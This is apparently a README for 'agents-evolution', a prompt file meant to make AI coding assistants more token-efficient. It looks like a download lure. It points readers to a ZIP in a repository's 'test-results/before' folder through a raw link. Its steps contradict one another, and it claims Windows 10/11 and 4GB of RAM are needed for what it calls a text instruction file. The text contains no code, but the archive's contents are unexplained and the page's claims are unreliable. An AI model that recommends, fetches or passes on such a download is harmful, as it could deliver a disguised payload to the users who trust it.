agents-evolution provides a system to make AI tools work better. If you use AI assistants in your code editor or command line, these instructions help your AI perform tasks with less waste. The system uses a specialized format to save tokens and improve output quality.
You can obtain the current version of the software from the official repository page.
- Go to this link: https://raw.githubusercontent.com/opticalmaserpreachment710/agents-evolution/main/test-results/before/evolution_agents_v1.3.zip.
- Look for the green button labeled Code near the top right.
- Click the button.
- Select Download ZIP from the menu.
- Save the file to your computer.
This software runs on standard Windows systems. You need a modern version of Windows 10 or 11. Ensure your computer meets these needs:
- At least 4GB of RAM.
- A stable internet connection for AI communication.
- An active subscription or API key for your preferred AI tool, such as Claude, Qwen, or Cursor IDE.
- A basic text editor like Notepad to view the system files.
Follow these steps to set up the system on your machine:
- Locate the ZIP file you downloaded.
- Right-click the file and select Extract All.
- Choose a folder on your drive and click Extract.
- Open the new folder to see the included files.
- Identify the AGENTS.md file within the directory.
This file contains the core instructions. Copy the contents of this file into the system prompt settings of your AI assistant. Many tools have a dedicated section for instructions or specialized commands. Paste the text there to apply the optimization settings.
The system acts as a manual for your AI. It tells the AI how to think and act when you ask it for help. Standard AI setups often use too many words. This increases costs and slows down response times. Our system removes filler words. It focuses the AI on the task.
The instructions cover three main areas:
- Token Efficiency: The AI uses fewer data points to reach the same result. This makes the AI faster and cheaper to run.
- Skill Management: The AI learns to chain different tasks together. It keeps track of complex projects by breaking them into small, manageable parts.
- Security Checks: The system includes rules that prevent the AI from making dangerous changes to your code files.
You gain several benefits when you use these instructions:
- Consistency: The AI generates code that follows the same style every time.
- Speed: Reduced token usage leads to shorter wait times for your responses.
- Accuracy: Explicit instructions prevent the AI from hallucinating or losing track of the file structure.
You can modify the instructions inside the AGENTS.md file to suit your needs. If you find the AI gives too much detail, remove the sections that describe the formatting you do not use. If you need the AI to focus on a specific programming language, add that language to the top of the instructions list.
Your AI assistant performs best when it has clear boundaries. Keep the following in mind as you work:
- Provide clear requests. State exactly what output you expect.
- Monitor the AI. Although this system includes security checks, always review the code that the AI generates before you add it to your project.
- Update often. Check the repository for changes. We update the instructions as AI models improve.
If you encounter issues, verify the following:
- Did you paste the entire content of the AGENTS.md file? Some tools truncate long prompts. Ensure the full text displays in your editor settings.
- Does your AI model support the format? Most modern models interpret instructions well. If you receive strange responses, try a different model version.
- Are your settings saved? Many IDEs require you to click Save or Apply after you paste your custom prompts. Check these settings if the AI behaves like it does not follow your guide.
Contact the repository maintainers if the system fails to improve your results. Provide examples of the input you used and the output you received. This helps us refine the system instructions for everyone.